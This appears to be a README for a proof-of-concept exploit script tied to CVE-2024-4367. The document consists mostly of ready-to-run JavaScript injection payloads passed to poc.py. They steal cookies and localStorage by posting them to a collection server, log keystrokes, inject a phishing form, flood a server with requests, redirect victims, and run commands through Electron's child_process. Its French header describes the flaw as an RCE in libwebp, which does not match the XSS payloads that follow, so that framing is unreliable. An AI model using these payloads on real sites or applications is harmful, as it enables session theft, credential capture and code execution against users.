
PoC (Proof of Concept) de la CVE-2024-4367 - Vulnérabilité RCE dans libwebp. Démonstration complète incluant : création de payloads, scénarios d'attaque, analyse des risques et serveur Express.js de test.
Another exploitation example consists of injecting a simple alert message to check if the attack works.
python poc.py "alert('XSS exploit triggered');"
XSS can be used to steal the victim's cookies and send them to a malicious server.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie).The attacker can steal sensitive information stored in the victim's localStorage, such as authentication data or session information.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage and sends it to a malicious server via a fetch request.The attacker can redirect the victim to a malicious site in order to retrieve additional information or load another exploit.
python poc.py "window.location.href='http://localhost:3000';"
Another type of attack consists of flooding a server with requests, which can lead to performance degradation or service interruption.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
The attacker can intercept the victim's keystrokes, allowing them to retrieve sensitive information such as passwords or identifiers.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
An attacker can use XSS to inject a phishing form into a web page and thus steal sensitive information (e.g., password, username).
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
If the user is about to click on a download button, we will change the download target.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
Applications based on frameworks like Electron or NW.js can also be affected by XSS attacks, because they allow integrating web content into desktop applications with extended local access.
These applications, due to their permissions, can allow an attacker to access local files, execute external processes, or even launch other applications on the target machine (e.g., calculator, text editor, etc.). This significantly increases the attack surface, as these applications combine the power of the web with broader system access.
Attacks exploiting CVEs (Common Vulnerabilities and Exposures) can enable various types of XSS attacks. By exploiting specific vulnerabilities in web or desktop applications, an attacker can inject malicious code, steal sensitive information, manipulate user sessions, or execute malicious actions on the target system.